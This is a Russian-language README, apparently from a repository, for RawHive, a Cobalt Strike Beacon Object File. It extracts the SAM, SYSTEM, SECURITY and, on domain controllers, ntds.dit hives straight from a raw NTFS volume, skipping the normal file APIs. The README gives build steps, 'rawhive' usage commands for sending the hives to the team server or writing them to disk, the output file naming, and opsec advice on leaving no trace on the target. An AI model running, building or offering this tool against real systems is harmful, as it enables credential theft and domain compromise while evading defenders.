
BOF для Cobalt Strike, который извлекает выбранные кусты реестра Windows напрямую с необработанного тома NTFS, анализируя метаданные NTFS и читая файловые данные прямо с диска.
RawHive — это BOF для Cobalt Strike, предназначенный для извлечения выбранных кустов реестра Windows напрямую с сырого тома NTFS. Он обходит обычные файловые API, проходит по метаданным NTFS для поиска записей целевых файлов и читает байты непосредственно с диска.
Цели:
C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITYC:\Windows\NTDS\ntds.dit (только контроллеры домена)Подходит любая буква локального диска NTFS; по умолчанию — C:.
\\.\C:) и читает загрузочный сектор для определения местоположения $MFT.Windows, System32, config и целевых файлов, с ограниченным сканированием MFT в качестве запасного варианта.x86_64-w64-mingw32-gcc и make для сборки.make
Собирает dist/rawhive.x64.o. rawhive.cna загружает объект из dist/, поэтому после изменения rawhive.c требуется пересборка.
Режим загрузки используется по умолчанию: кусты читаются напрямую с сырого тома и отправляются на team server через BeaconDownload API. Диск цели не затрагивается.
rawhive # download C: hives to team server
rawhive D # download D: hives to team server
Режим записи на диск сохраняет файлы .tmp в каталог на цели. Учтите, что это затрагивает диск и может быть небезопасно с точки зрения opsec; предпочитайте режим загрузки, если вам специально не нужно разместить файлы локально.
rawhive C:\Windows\Temp # write C: hives to disk
rawhive C:\Windows\Temp D # write D: hives to C:\Windows\Temp
Том можно указывать как C, c или C:. Выходной каталог должен уже существовать.
Файлы именуются как <host>_<timestamp>_<hive>.tmp:
<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp # DCs only
В режиме загрузки они появляются в лотке загрузок Cobalt Strike; в режиме записи на диск они попадают в указанный выходной каталог.
